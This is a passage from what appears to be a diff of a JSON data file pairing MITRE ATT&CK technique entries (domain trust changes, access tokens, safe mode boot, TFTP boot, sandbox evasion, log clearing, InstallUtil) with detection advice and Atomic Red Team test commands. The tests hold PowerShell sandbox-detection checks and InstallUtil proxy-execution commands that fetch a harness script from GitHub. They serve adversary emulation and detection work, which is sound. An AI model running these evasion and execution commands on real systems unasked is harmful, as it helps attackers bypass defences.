certificate.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", - "Active Directory: Active Directory Object Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1484.002" - }, - "atomic_tests": [] - }, - "T1527": { - "technique": { - "x_mitre_platforms": [ - "SaaS", - "Office 365" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jen Burns, HubSpot", - "Mark Wee", - "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", - "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", - "Shailesh Tiwary (Indian Army)" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", - "type": "attack-pattern", - "created": "2019-08-30T12:55:58.607Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "url": "https://attack.mitre.org/techniques/T1527", - "external_id": "T1527", - "source_name": "mitre-attack" - }, - { - "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", - "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019" - }, - { - "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", - "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", - "source_name": "okta" - }, - { - "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", - "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", - "source_name": "Microsoft Identity Platform Access 2019" - }, - { - "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", - "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/", - "source_name": "Staaldraad Phishing with OAuth 2017" - } - ], - "modified": "2021-09-20T16:50:41.832Z", - "name": "Application Access Token", - "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Multi-Factor Authentication", - "Logon Credentials" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1562.009": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jorell Magtibay, National Australia Bank Limited", - "Kiyohito Yamamoto, RedLark, NTT Communications", - "Yusuke Kubo, RedLark, NTT Communications" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", - "type": "attack-pattern", - "created": "2021-06-23T20:00:27.600Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.009", - "url": "https://attack.mitre.org/techniques/T1562/009" - }, - { - "source_name": "Microsoft Safe Mode", - "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234", - "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021." - }, - { - "source_name": "Sophos Snatch Ransomware 2019", - "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021." - }, - { - "source_name": "Microsoft bcdedit 2021", - "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit", - "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021." - }, - { - "source_name": "CyberArk Labs Safe Mode 2016", - "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise", - "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021." - }, - { - "source_name": "Cybereason Nocturnus MedusaLocker 2020", - "url": "https://www.cybereason.com/blog/medusalocker-ransomware", - "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021." - }, - { - "source_name": "BleepingComputer REvil 2021", - "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", - "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021." - }, - { - "source_name": "Microsoft Bootcfg", - "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg", - "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021." - } - ], - "modified": "2021-08-31T14:51:47.352Z", - "name": "Safe Mode Boot", - "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation", - "Command: Command Execution", - "Windows Registry: Windows Registry Key Creation" - ], - "x_mitre_defense_bypassed": [ - "Host Intrusion Prevention Systems", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1542.005": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", - "type": "attack-pattern", - "created": "2020-10-20T00:06:56.180Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1542.005", - "url": "https://attack.mitre.org/techniques/T1542/005" - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Command History", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Boot Information", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020." - } - ], - "modified": "2020-10-22T16:35:53.806Z", - "name": "TFTP Boot", - "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Connection Creation", - "Command: Command Execution", - "Firmware: Firmware Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1497.001": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Deloitte Threat Library Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", - "type": "attack-pattern", - "created": "2020-03-06T20:57:37.959Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1497.001", - "url": "https://attack.mitre.org/techniques/T1497/001" - }, - { - "source_name": "Deloitte Environment Awareness", - "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc", - "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021." - }, - { - "source_name": "McAfee Virtual Jan 2017", - "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/", - "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019." - }, - { - "source_name": "Unit 42 OilRig Sept 2018", - "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", - "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" - } - ], - "modified": "2021-10-18T14:57:07.973Z", - "name": "Virtualization/Sandbox Evasion: System Checks", - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: OS API Execution", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Static File Analysis", - "Signature-based detection", - "Host forensic analysis", - "Anti-virus" - ], - "identifier": "T1497.001" - }, - "atomic_tests": [ - { - "name": "Detect Virtualization Environment (Windows)", - "auto_generated_guid": "502a7dc4-9d6f-4d28-abf2-f0e84692562d", - "description": "Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$error.clear()\nGet-WmiObject -Query \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" -ErrorAction SilentlyContinue\nif($error) {echo \"Virtualization Environment detected\"}\n", - "cleanup_command": "$error.clear()\n" - } - }, - { - "name": "Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)", - "auto_generated_guid": "4a41089a-48e0-47aa-82cb-5b81a463bc78", - "description": "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "powershell", - "elevation_required": false, - "command": "$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n" - } - } - ] - }, - "T1070.002": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", - "type": "attack-pattern", - "created": "2020-01-28T17:11:54.034Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1070.002", - "url": "https://attack.mitre.org/techniques/T1070/002" - }, - { - "source_name": "Linux Logs", - "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/", - "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020." - } - ], - "modified": "2020-03-29T21:23:51.886Z", - "name": "Indicator Removal on Host: Clear Linux or Mac System Logs", - "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "File: File Deletion", - "Command: Command Execution" - ], - "identifier": "T1070.002" - }, - "atomic_tests": [] - }, - "T1218.004": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", - "type": "attack-pattern", - "created": "2020-01-23T19:09:48.811Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.004", - "url": "https://attack.mitre.org/techniques/T1218/004" - }, - { - "source_name": "MSDN InstallUtil", - "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx" - }, - { - "source_name": "LOLBAS Installutil", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", - "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019." - } - ], - "modified": "2022-03-11T18:47:52.603Z", - "name": "Signed Binary Proxy Execution: InstallUtil", - "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application control" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1218.004" - }, - "atomic_tests": [ - { - "name": "CheckIfInstallable method call", - "auto_generated_guid": "ffd9c807-d402-47d2-879d-f915cf2a3a94", - "description": "Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.\nIf no output is displayed the test executed successfuly.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "CheckIfInstallable" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nCheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "InstallHelper method call", - "auto_generated_guid": "d43a5bde-ae28-4c55-a850-3f4c80573503", - "description": "Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test\nexecuted successfuly.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "test_harness": { - "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly", - "type": "path", - "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1" - }, - "assembly_dir": { - "description": "directory to drop the compiled installer assembly", - "type": "path", - "default": "$Env:TEMP\\" - }, - "invocation_method": { - "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable", - "type": "string", - "default": "InstallHelper" - }, - "assembly_filename": { - "description": "filename of the compiled installer assembly", - "type": "string", - "default": "T1218.004.dll" - } - }, - "dependencies": [ - { - "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n", - "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n" - } - ], - "executor": { - "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallHelper method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n", - "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item 